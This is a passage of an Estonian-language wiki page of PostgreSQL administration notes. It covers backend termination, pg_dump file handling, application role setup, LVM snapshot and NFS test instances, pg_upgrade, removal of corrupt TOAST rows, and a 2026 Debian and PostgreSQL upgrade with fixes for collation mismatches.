 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
